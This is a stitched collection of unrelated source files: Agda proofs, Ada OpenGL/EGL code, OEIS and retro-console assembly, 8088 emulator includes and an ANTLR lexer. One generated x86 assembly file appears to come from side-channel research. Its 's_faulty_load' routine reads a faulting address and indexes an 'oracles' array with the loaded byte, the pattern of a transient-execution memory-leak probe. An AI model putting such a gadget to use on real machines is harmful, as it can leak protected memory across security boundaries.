; reflexive = λ x≡y {z} →
reflexive $
Setoid.reflexive (setoid bijection _) $
P.cong (_S_ z) x≡y
; trans = λ i↝j j↝k → trans i↝j j↝k
}
} where open Preorder (preorder _ _)
InducedEquivalence₂ : Symmetric-kind →
∀ {a b s} {A : Set a} {B : Set b} →
(A → B → Set s) → Setoid _ _
InducedEquivalence₂ k _S_ = record
{ _≈_ = InducedRelation₂ ⌊ k ⌋ _S_
; isEquivalence = record
{ refl = refl
; sym = λ i↝j → sym i↝j
; trans = λ i↝j j↝k → trans i↝j j↝k
}
} where open Setoid (setoid _ _)
|
3-mid/opengl/source/platform/egl/opengl-context.adb | charlie5/lace | 20 | 1245 | with
opengl.Display .privvy,
opengl.surface_Profile.privvy,
opengl.Surface .privvy,
egl.Binding,
System;
package body openGL.Context
is
use egl.Binding,
System;
procedure define (Self : in out Item; the_Display : access opengl.Display.item'Class;
the_surface_Profile : in opengl.surface_Profile.item)
is
use EGL,
opengl.Display .privvy,
opengl.surface_Profile.privvy;
contextAttribs : EGLint_array := (EGL_CONTEXT_CLIENT_VERSION, 2,
EGL_NONE);
begin
Self.egl_Context := eglCreateContext (to_eGL (the_Display.all),
to_eGL (the_surface_Profile),
EGL_NO_CONTEXT,
contextAttribs (contextAttribs'First)'Unchecked_Access);
if Self.egl_Context = EGL_NO_CONTEXT then
raise opengl.Error with "Unable to create an EGL Context.";
end if;
Self.Display := the_Display;
end define;
procedure make_Current (Self : in Item; read_Surface : in opengl.Surface.item;
write_Surface : in opengl.Surface.item)
is
use eGL,
opengl.Display.privvy,
opengl.Surface.privvy;
use type EGLBoolean;
Success : constant EGLBoolean := eglmakeCurrent (to_eGL (Self.Display.all),
to_eGL (read_Surface),
to_eGL (write_Surface),
Self.egl_Context);
begin
if Success = EGL_FALSE then
raise openGL.Error with "unable to make egl Context current";
end if;
end make_Current;
function egl_Context_debug (Self : in Item'Class) return egl.EGLConfig
is
begin
return self.egl_Context;
end egl_Context_debug;
end openGL.Context;
|
test/Succeed/Issue5730.agda | sseefried/agda | 1 | 7952 | {-# OPTIONS --with-K -vtc.lhs.unify:50 #-}
open import Agda.Primitive using (Setω)
open import Agda.Builtin.Equality using (_≡_; refl)
-- change `Set` to `Setω` breaks `seq`
data RecD (I : Set) : Setω where
ι : (i : I) → RecD I
data RecO {I J : Set} (e : I → J) : RecD I → RecD J → Setω where
ι : (i : I) (j : J) (eq : e i ≡ j) → RecO e (ι i) (ι j)
seq : {I J K : Set} {e : I → J} {f : J → K} {D : RecD I} {E : RecD J} {F : RecD K}
→ RecO f E F → RecO e D E
→ RecO (λ i → f (e i)) D F
seq (ι _ _ refl) (ι _ _ refl) = ι _ _ refl
|
oeis/024/A024442.asm | neoneye/loda-programs | 11 | 86549 | <gh_stars>10-100
; A024442: Expansion of 1/((1-x)(1-7x)(1-9x)(1-11x)).
; Submitted by <NAME>
; 1,28,518,7988,111279,1454376,18208156,221140696,2626932077,30692791844,354119115714,4046102802924,45880411771195,517157095113232,5801772397167992,64842434348911472,722511991410929433
add $0,2
lpb $0
sub $0,1
add $2,1
mul $2,7
mul $3,11
add $3,$1
mul $1,9
add $1,$2
lpe
mov $0,$3
div $0,7
|
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_2144.asm | ljhsiun2/medusa | 9 | 17675 | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r15
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x124af, %r12
sub $2665, %rbp
mov $0x6162636465666768, %r15
movq %r15, %xmm6
vmovups %ymm6, (%r12)
nop
nop
nop
nop
nop
dec %r15
lea addresses_D_ht+0xccd5, %rcx
nop
nop
nop
nop
cmp %r12, %r12
movb (%rcx), %bl
nop
nop
nop
nop
and $65427, %r15
lea addresses_normal_ht+0x9e6f, %rdi
nop
nop
xor $32858, %rbx
movups (%rdi), %xmm4
vpextrq $1, %xmm4, %r12
nop
nop
nop
cmp $60952, %r12
lea addresses_WT_ht+0x16477, %r12
clflush (%r12)
nop
cmp $6249, %rax
movups (%r12), %xmm0
vpextrq $1, %xmm0, %rbp
nop
nop
nop
nop
xor %r12, %r12
lea addresses_UC_ht+0x354b, %r12
nop
nop
nop
cmp %rbx, %rbx
movw $0x6162, (%r12)
nop
sub %rax, %rax
lea addresses_WT_ht+0xe12f, %rsi
lea addresses_D_ht+0x184af, %rdi
clflush (%rdi)
xor $9041, %r15
mov $6, %rcx
rep movsq
nop
nop
nop
xor %rbp, %rbp
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r15
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r14
push %r9
push %rdx
// Faulty Load
lea addresses_WC+0x5caf, %rdx
nop
nop
nop
cmp $27042, %r12
mov (%rdx), %r13
lea oracles, %r11
and $0xff, %r13
shlq $12, %r13
mov (%r11,%r13,1), %r13
pop %rdx
pop %r9
pop %r14
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 7, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 6, 'size': 16, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 3, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 2, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
samples/sms/tilemap_render/bidir_scroll_ADJ_SCR_MASKS/data/tilemap.asm | 0x8BitDev/MAPeD-SPReD | 23 | 8434 | ;#######################################################
;
; Generated by MAPeD-SMS Copyright 2017-2021 0x8BitDev
;
;#######################################################
; export options:
; - tiles 4x4/(columns)
; - properties per CHR (screen attributes)
; - mode: bidirectional scrolling
; - layout: adjacent screens (marks)
; - no entities
.define MAP_DATA_MAGIC $3484A
; data flags:
.define MAP_FLAG_TILES2X2 $01
.define MAP_FLAG_TILES4X4 $02
.define MAP_FLAG_RLE $04
.define MAP_FLAG_DIR_COLUMNS $08
.define MAP_FLAG_DIR_ROWS $10
.define MAP_FLAG_MODE_MULTIDIR_SCROLL $20
.define MAP_FLAG_MODE_BIDIR_SCROLL $40
.define MAP_FLAG_MODE_STATIC_SCREENS $80
.define MAP_FLAG_ENTITIES $100
.define MAP_FLAG_ENTITY_SCREEN_COORDS $200
.define MAP_FLAG_ENTITY_MAP_COORS $400
.define MAP_FLAG_LAYOUT_ADJACENT_SCREENS $800
.define MAP_FLAG_LAYOUT_ADJACENT_SCR_INDS $1000
.define MAP_FLAG_LAYOUT_MATRIX $2000
.define MAP_FLAG_MARKS $4000
.define MAP_FLAG_PROP_ID_PER_BLOCK $8000
.define MAP_FLAG_PROP_ID_PER_CHR $10000
.define MAP_FLAG_PROP_IN_SCR_ATTRS $20000
.define MAP_CHR_BPP 4
.define MAP_CHRS_OFFSET 0 ; first CHR index in CHR bank
.define ScrTilesWidth 8 ; number of screen tiles (4x4) in width
.define ScrTilesHeight 6 ; number of screen tiles (4x4) in height
.define ScrPixelsWidth 256 ; screen width in pixels
.define ScrPixelsHeight 192 ; screen height in pixels
; *** GLOBAL DATA ***
chr0: .incbin "tilemap_chr0.bin" ; (3488)
tilemap_CHRs:
.word chr0
tilemap_CHRs_size:
.word 3488 ; (chr0)
tilemap_Tiles: .incbin "tilemap_Tiles.bin" ; (892) 4x4 tiles array of all exported data banks ( 4 bytes per tile )
tilemap_TilesOffs:
.word 0 ; (chr0)
tilemap_BlocksOffs:
.word 0 ; (chr0)
tilemap_Attrs: .incbin "tilemap_Attrs.bin" ; (1408) 2x2 tiles attributes array of all exported data banks ( 2 bytes per attribute )
tilemap_TilesScr: .incbin "tilemap_TilesScr.bin" ; (672) 4x4 tiles array for each screen ( 48 bytes per screen \ 1 byte per tile )
tilemap_Plts: .incbin "tilemap_Plts.bin" ; (32) palettes array of all exported data banks ( data offset = chr_id * 32 )
; *** Lev0 ***
.define Lev0_StartScr Lev0Scr24
Lev0Scr6:
.byte 0 ; chr_id
.byte $40 ; (marks) bits: 7-4 - bit mask of user defined adjacent screens ( Down(7)-Right(6)-Up(5)-Left(4) ); 3-0 - screen property
.byte 0 ; screen index
.word 0 ; left adjacent screen
.word 0 ; up adjacent screen
.word Lev0Scr7 ; right adjacent screen
.word Lev0Scr14 ; down adjacent screen
Lev0Scr7:
.byte 0
.byte $90
.byte 1
.word Lev0Scr6
.word 0
.word 0
.word Lev0Scr15
Lev0Scr14:
.byte 0
.byte $C0
.byte 2
.word 0
.word Lev0Scr6
.word Lev0Scr15
.word Lev0Scr22
Lev0Scr15:
.byte 0
.byte $30
.byte 3
.word Lev0Scr14
.word Lev0Scr7
.word 0
.word Lev0Scr23
Lev0Scr22:
.byte 0
.byte $60
.byte 4
.word 0
.word Lev0Scr14
.word Lev0Scr23
.word Lev0Scr30
Lev0Scr23:
.byte 0
.byte $90
.byte 5
.word Lev0Scr22
.word Lev0Scr15
.word 0
.word Lev0Scr31
Lev0Scr24:
.byte 0
.byte $40
.byte 6
.word 0
.word 0
.word Lev0Scr25
.word 0
Lev0Scr25:
.byte 0
.byte $50
.byte 7
.word Lev0Scr24
.word 0
.word Lev0Scr26
.word 0
Lev0Scr26:
.byte 0
.byte $50
.byte 8
.word Lev0Scr25
.word 0
.word Lev0Scr27
.word 0
Lev0Scr27:
.byte 0
.byte $50
.byte 9
.word Lev0Scr26
.word 0
.word Lev0Scr28
.word 0
Lev0Scr28:
.byte 0
.byte $50
.byte 10
.word Lev0Scr27
.word 0
.word Lev0Scr29
.word 0
Lev0Scr29:
.byte 0
.byte $50
.byte 11
.word Lev0Scr28
.word 0
.word Lev0Scr30
.word 0
Lev0Scr30:
.byte 0
.byte $50
.byte 12
.word Lev0Scr29
.word Lev0Scr22
.word Lev0Scr31
.word 0
Lev0Scr31:
.byte 0
.byte $30
.byte 13
.word Lev0Scr30
.word Lev0Scr23
.word 0
.word 0
|
src/8088/pc_high.asm | vossi1/cbm2-pc-emulator-v9958 | 0 | 20054 | <gh_stars>0
%undef ROM
%undef STANDALONE
[BITS 16]
[CPU 8086]
[ORG 0x0100]
[SECTION .text]
; Starting offest of the resident code.
Install_Start equ ($-$$)
; Number of bytes to leave from the top of memory.
; to make room for MS-DOS 1.25 COMMAND.COM portion.
Install_Leave equ 1800h
call Install_High
int 20h
%include 'src/8088/include/debug.asm'
%include 'src/8088/include/ipc.asm'
%include 'src/8088/include/int.asm'
%include 'src/8088/include/init.asm'
%include 'src/8088/include/data.asm'
Init_Far:
call Init_INT
retf
; Installable code ends here.
Install_End:
%include 'src/8088/include/install.asm'
%include 'src/8088/include/version.asm'
|
fastmodel-ide/fastmodel-ide-open-front/antlr/FastModelLexer.g4 | alibaba/fast-modeling-language | 9 | 5036 | lexer grammar FastModelLexer;
channels { WS_CHANNEL, COMMENT_CHANNEL }
KW_CREATE : C R E A T E ;
KW_ALTER: A L T E R ;
KW_PROCESS : B U S I N E S S '_' P R O C E S S ;
KW_PROCESSES : B U S I N E S S '_' P R O C E S S E S ;
KW_BUSINESS_CATEGORY : B U S I N E S S '_' C A T E G O R Y ;
KW_BUSINESS_CATEGORIES : B U S I N E S S '_' C A T E G O R I E S ;
KW_DOMAIN : D O M A I N ;
KW_DOMAINS : D O M A I N S ;
KW_TABLE : T A B L E ;
KW_TABLES : T A B L E S ;
KW_TYPE : T Y P E ;
KW_DIALECT : D I A L E C T ;
KW_FULL_BU : B U S I N E S S '_' U N I T ;
KW_FULL_BUS : B U S I N E S S '_' U N I T S ;
KW_ADJUNCT : A D J U N C T ;
KW_ADJUNCTS : A D J U N C T S ;
KW_DICT : D I C T ;
KW_DICTS : D I C T S ;
KW_TIMEPERIOD : T I M E '_' P E R I O D ;
KW_TIMEPERIODS : T I M E '_' P E R I O D S ;
KW_MEASUREUNIT : M E A S U R E '_' U N I T ;
KW_MEASUREUNITS : M E A S U R E '_' U N I T S ;
KW_INDICATOR : I N D I C A T O R ;
KW_INDICATORS : I N D I C A T O R S ;
KW_BATCH : B A T C H ;
KW_BATCHES : B A T C H E S ;
KW_PATH : P A T H ;
KW_COLUMN: C O L U M N ;
KW_CHECKER : C H E C K E R ;
KW_LAYER : L A Y E R ;
KW_CODE : C O D E ;
KW_CODES : C O D E S ;
KW_COlGROUP : C O L U M N '_' G R O U P ;
KW_ATTRIBUTE : A T T R I B U T E ;
KW_MEASUREMENT : M E A S U R E M E N T ;
KW_CORRELATION : C O R R E L A T I O N ;
KW_PARTITIONED : P A R T I T I O N E D ;
KW_INCLUDE : I N C L U D E ;
KW_EXCLUDE : E X C L U D E ;
KW_CHECKERS : C H E C K E R S ;
KW_LAYERS : L A Y E R S ;
KW_DROP: D R O P ;
KW_RENAME: R E N A M E ;
KW_USE : U S E ;
KW_TO: T O ;
KW_COMMENT : C O M M E N T ;
KW_SHOW : S H O W ;
KW_OUTPUT : O U T P U T ;
KW_INSERT : I N S E R T ;
KW_INTO : I N T O ;
KW_AS : A S ;
KW_IF : I F ;
KW_OR : O R ;
KW_IN : I N ;
KW_DATEFIELD: D A T E '_' F I E L D ;
KW_DELETE : D E L E T E ;
KW_ALIAS : A L I A S ;
KW_DIMENSION : D I M E N S I O N ;
KW_DIMENSIONS : D I M E N S I O N S ;
KW_ATTRIBUTES : A T T R I B U T E S ;
KW_DIM_ATTRIBUTES : D I M '_' A T T R I B U T E S ;
KW_SUBJECT : S U B J E C T ;
KW_SUBJECTS : S U B J E C T S ;
KW_MARKET : M A R K E T ;
KW_MARKETS : M A R K E T S ;
KW_CURRENT: C U R R E N T ;
KW_CURRENT_DATE: C U R R E N T '_' D A T E ;
KW_CURRENT_TIMESTAMP: C U R R E N T '_' T I M E S T A M P ;
KW_GROUPING: G R O U P I N G ;
KW_UNNEST: U N N E S T ;
KW_LATERAL: L A T E R A L ;
KW_VIEW : V I E W ;
KW_LIKE : L I K E ;
KW_TRUE : T R U E ;
KW_FALSE : F A L S E ;
KW_CAST : C A S T ;
KW_HAVING : H A V I N G ;
KW_ORDER : O R D E R ;
KW_GROUP : G R O U P ;
KW_BY : B Y ;
KW_WHERE : W H E R E ;
KW_PERCENT : P E R C E N T ;
KW_OF : O F ;
KW_EXISTS : E X I S T S ;
KW_NOT : 'NOT' | '!';
KW_VALUES : V A L U E S ;
KW_ON : O N ;
KW_USING : U S I N G ;
KW_PRESERVE : P R E S E R V E ;
KW_JOIN : J O I N ;
KW_NATURAL : N A T U R A L ;
KW_LEFT : L E F T ;
KW_RIGHT : R I G H T ;
KW_FULL : F U L L ;
KW_INNER: I N N E R ;
KW_CROSS : C R O S S ;
KW_OUTER : O U T E R ;
KW_SEMI : S E M I ;
KW_TABLESAMPLE : T A B L E S A M P L E ;
KW_TRUNCATE : T R U N C A T E ;
KW_DWS : D W S ;
KW_ADS : A D S ;
KW_OVERWRITE : O V E R W R I T E ;
KW_BINARY: B I N A R Y ;
KW_PRECISION : P R E C I S I O N ;
KW_NULL: N U L L ;
KW_BOOLEAN: B O O L E A N ;
KW_TINYINT: T I N Y I N T ;
KW_SMALLINT: S M A L L I N T ;
KW_INT: I N T ;
KW_BIGINT: B I G I N T ;
KW_FLOAT: F L O A T ;
KW_DOUBLE: D O U B L E ;
KW_DATE: D A T E ;
KW_DATETIME: D A T E T I M E ;
KW_TIMESTAMP: T I M E S T A M P ;
KW_DECIMAL: D E C I M A L ;
KW_STRING: S T R I N G ;
KW_CHAR: C H A R ;
KW_VARCHAR: V A R C H A R ;
KW_CUSTOM: C U S T O M ;
KW_ARRAY: A R R A Y ;
KW_STRUCT: S T R U C T ;
KW_MAP: M A P ;
KW_WITH: W I T H ;
KW_SET: S E T ;
KW_UNSET: U N S E T ;
KW_ORDINALITY: O R D I N A L I T Y ;
KW_LEVEL: L E V E L ;
KW_ENUM: E N U M ;
KW_PERIODIC_SNAPSHOT : P E R I O D I C '_' S N A P S H O T ;
KW_ACCUMULATING_SNAPSHOT : A C C U M U L A T I N G '_' S N A P S H O T ;
KW_AGGREGATE : A G G R E G A T E ;
KW_CONSOLIDATED : C O N S O L I D A T E D ;
KW_TRANSACTION : T R A N S A C T I O N ;
KW_FACTLESS : F A C T L E S S ;
KW_NORMAL : N O R M A L ;
KW_ADVANCED : A D V A N C E D ;
KW_MATERIALIZED: M A T E R I A L I Z E D ;
KW_ENGINE: E N G I N E ;
KW_PROPERTIES: P R O P E R T I E S ;
KW_FLOOR: F L O O R ;
KW_ATOMIC: A T O M I C ;
KW_COMPOSITE: C O M P O S I T E ;
KW_DERIVATIVE: D E R I V A T I V E ;
KW_CALL : C A L L ;
KW_CASE: C A S E ;
KW_WHEN: W H E N ;
KW_THEN: T H E N ;
KW_ELSE: E L S E ;
KW_END: E N D ;
KW_LIMIT: L I M I T ;
KW_OFFSET: O F F S E T ;
KW_UNION: U N I O N ;
KW_DISTINCT: D I S T I N C T ;
KW_ALL: A L L ;
KW_INTERSECT: I N T E R S E C T ;
KW_EXCEPT: E X C E P T ;
KW_SELECT: S E L E C T ;
KW_FROM: F R O M ;
KW_AND: A N D ;
KW_BETWEEN: B E T W E E N ;
KW_IS: I S ;
KW_DIM: D I M ;
KW_FACT: F A C T ;
KW_PRIMARY: P R I M A R Y ;
KW_KEY: K E Y ;
KW_CHANGE: C H A N G E ;
KW_COLUMNS: C O L U M N S ;
KW_ADD: A D D ;
KW_REPLACE: R E P L A C E ;
KW_CONSTRAINT: C O N S T R A I N T ;
KW_ASC: A S C ;
KW_DESC: D E S C ;
KW_DESCRIBE : D E S C R I B E ;
KW_REFERENCES: R E F E R E N C E S ;
KW_INTERVAL: I N T E R V A L ;
KW_YEAR: Y E A R ;
KW_QUARTER: Q U A R T E R ;
KW_MONTH: M O N T H ;
KW_WEEK: W E E K ;
KW_DAY: D A Y ;
KW_DOW: D A Y O F W E E K ;
KW_HOUR: H O U R ;
KW_MINUTE: M I N U T E ;
KW_SECOND: S E C O N D ;
KW_TRANSFORM: T R A N S F O R M ;
KW_REDUCE: R E D U C E ;
KW_WINDOW: W I N D O W ;
KW_ROWS: R O W S ;
KW_RANGE: R A N G E ;
KW_GROUPS: G R O U P S ;
KW_IGNORE: I G N O R E ;
KW_RESPECT: R E S P E C T ;
KW_UNBOUNDED: U N B O U N D E D ;
KW_PRECEDING: P R E C E D I N G ;
KW_ROW: R O W ;
KW_FOLLOWING: F O L L O W I N G ;
KW_ROLLUP: R O L L U P ;
KW_CUBE: C U B E ;
KW_SETS: S E T S ;
KW_CLUSTER: C L U S T E R ;
KW_PARTITION: P A R T I T I O N ;
KW_DISTRIBUTE: D I S T R I B U T E ;
KW_SORT: S O R T ;
KW_OVER: O V E R ;
KW_FILTER: F I L T E R ;
KW_EXTRACT: E X T R A C T ;
KW_TIMESTAMPLOCALTZ: T I M E S T A M P L O C A L T Z ;
KW_UNIONTYPE: U N I O N T Y P E ;
KW_RLIKE: R L I K E ;
KW_REGEXP: R E G E X P ;
KW_ANY: A N Y ;
KW_DEFAULT: D E F A U L T ;
KW_BERNOULLI: B E R N O U L L I ;
KW_SYSTEM: S Y S T E M ;
KW_RECURSIVE: R E C U R S I V E ;
KW_FETCH: F E T C H ;
KW_FIRST: F I R S T ;
KW_NEXT: N E X T ;
KW_ONLY: O N L Y ;
KW_TIES: T I E S ;
KW_NULLS: N U L L S ;
KW_LAST: L A S T ;
KW_ENABLE: E N A B L E ;
KW_DISABLE: D I S A B L E ;
KW_VALIDATE: V A L I D A T E ;
KW_NOVALIDATE: N O V A L I D A T E ;
KW_RELY: R E L Y ;
KW_NORELY: N O R E L Y ;
KW_ENFORCED: E N F O R C E D ;
KW_FOR: F O R ;
KW_SUBSTRING: S U B S T R I N G ;
KW_PIPE : P I P E ;
KW_TARGET : T A R G E T ;
KW_TARGET_TYPE : T A R G E T '_' T Y P E ;
KW_URL : U R L ;
KW_USER : U S E R ;
KW_PASSWORD : <NAME> ;
KW_SYNC : S Y N C ;
KW_ASYNC : A S Y N C ;
KW_COPY : C O P Y ;
KW_BIZ_DATE : B I Z '_' D A T E ;
KW_COPY_MODE : C O P Y '_' M O D E ;
KW_SOURCE : S O U R C E ;
KW_RULES : R U L E S ;
KW_SQL : S Q L ;
KW_TASK : T A S K ;
KW_STRONG : S T R O N G ;
KW_WEAK : W E A K ;
KW_RULE : R U L E ;
KW_INCREASE : I N C R E A S E ;
KW_DECREASE : D E C R E A S E ;
KW_DYNAMIC : D Y N A M I C ;
KW_DQC_RULE : D Q C '_' R U L E ;
KW_CHECK : C H E C K ;
KW_NAMING : N A M I N G ;
KW_REL_DIMENSION : R E L '_' D I M E N S I O N ;
KW_REL_INDICATOR : R E L '_' I N D I C A T O R ;
KW_STAT_TIME : S T A T '_' T I M E ;
KW_REDUNDANT : R E D U N D A N T ;
KW_EXP : E X P ;
KW_EXPORT : E X P O R T ;
KW_IMPORT : I M P O R T ;
KW_IMPORT_SQL : 'IMP_SQL' | 'IMPORT_SQL';
KW_EXPORT_SQL : 'EXP_SQL' | 'EXPORT_SQL';
KW_UNIQUE : U N I Q U E ;
KW_INDEX : I N D E X ;
KW_RENDER : R E N D E R ;
KW_REF : R E F ;
EQUAL:'=';
LESSTHAN:'<';
GREATERTHAN:'>';
EQUAL_NS : '<=>';
NOTEQUAL : '<>' | '!=';
LESSTHANOREQUALTO : '<=';
GREATERTHANOREQUALTO : '>=';
LEFT_DIRECTION_RIGHT : '->';
RIGHT_DIRECTON_LEFT : '<-';
DOT : '.'; // generated as a part of Number rule
COLON : ':' ;
COMMA : ',' ;
SEMICOLON : ';' ;
LPAREN : '(' ;
RPAREN : ')' ;
LSQUARE : '[' ;
RSQUARE : ']' ;
LCURLY : '{';
RCURLY : '}';
DIVIDE : '/';
PLUS : '+';
MINUS : '-';
MINUSMINUS : '--';
STAR : '*';
MOD : '%';
DIV : D I V ;
MODE_OPTION : MINUS M;
TEXT_OPTION : MINUS T;
URI_OPTION : MINUS U;
AMPERSAND : '&';
TILDE : '~';
BITWISEOR : '|';
CONCATENATE : '||';
BITWISEXOR : '^';
QUESTION : '?';
DOLLAR : '$';
MACRO : '#';
// LITERALS
fragment
Letter
: 'a'..'z' | 'A'..'Z'
;
fragment
Digit
: '0'..'9'
;
TIME_ID: ('0'..'9')+ ('a'..'z' | 'A'..'Z')+;
fragment
RegexComponent
: 'a'..'z' | 'A'..'Z' | '0'..'9' | '_'
| PLUS | STAR | QUESTION | MINUS | DOT
| LPAREN | RPAREN | LSQUARE | RSQUARE | LCURLY | RCURLY
| BITWISEXOR | BITWISEOR | DOLLAR | '!'
;
StringLiteral
: ( '\'' ( ~('\''|'\\') | ('\\' .) )* '\''
| '"' ( ~('"'|'\\') | ('\\' .) )* '"'
)+
;
fragment
CharSetName
: '_' (Letter | Digit | '_' | '-' | '.' | ':' )+
;
fragment
CharSetLiteral
: StringLiteral
| '0' 'X' (HexDigit|Digit)+
;
NumberLiteral
: Number ('D' | 'B' 'D')
;
ByteLengthLiteral
: (Digit)+ ('b' | 'B' | 'k' | 'K' | 'm' | 'M' | 'g' | 'G')
;
INTEGER_VALUE
: DIGIT+
;
DECIMAL_VALUE
: DIGIT+ '.' DIGIT*
;
DOUBLE_VALUE
: DIGIT+ ('.' DIGIT*)? EXPONENT
;
Number
: (Digit)+ ( DOT (Digit)* (Exponent)? | Exponent)?
;
// Ported from Java.g
fragment
IDLetter
: '\u0024' |
'\u0041'..'\u005a' |
'\u005f' |
'\u0061'..'\u007a' |
'\u00c0'..'\u00d6' |
'\u00d8'..'\u00f6' |
'\u00f8'..'\u00ff' |
'\u0100'..'\u1fff' |
'\u3040'..'\u318f' |
'\u3300'..'\u337f' |
'\u3400'..'\u3d2d' |
'\u4e00'..'\u9fff' |
'\uf900'..'\ufaff'
;
fragment
IDDigit
: '\u0030'..'\u0039' |
'\u0660'..'\u0669' |
'\u06f0'..'\u06f9' |
'\u0966'..'\u096f' |
'\u09e6'..'\u09ef' |
'\u0a66'..'\u0a6f' |
'\u0ae6'..'\u0aef' |
'\u0b66'..'\u0b6f' |
'\u0be7'..'\u0bef' |
'\u0c66'..'\u0c6f' |
'\u0ce6'..'\u0cef' |
'\u0d66'..'\u0d6f' |
'\u0e50'..'\u0e59' |
'\u0ed0'..'\u0ed9' |
'\u1040'..'\u1049'
;
fragment
Substitution
:
DOLLAR LCURLY (IDLetter | IDDigit) (IDLetter | IDDigit | '_' )* RCURLY
;
Identifier
: (IDLetter | IDDigit) (IDLetter | IDDigit | '_' | Substitution)*
| QuotedIdentifier /* though at the language level we allow all Identifiers to be QuotedIdentifiers;
at the API level only columns are allowed to be of this form */
| '`' RegexComponent+ '`'
;
QuotedIdentifier
:
'`' ( '``' | ~('`') )* '`'
;
SINGLE_LINE_COMMENT:
'--' ~[\r\n]* (('\r'? '\n') | EOF) -> channel(HIDDEN);
HINT_START : '/*+' ;
HINT_END : '*/';
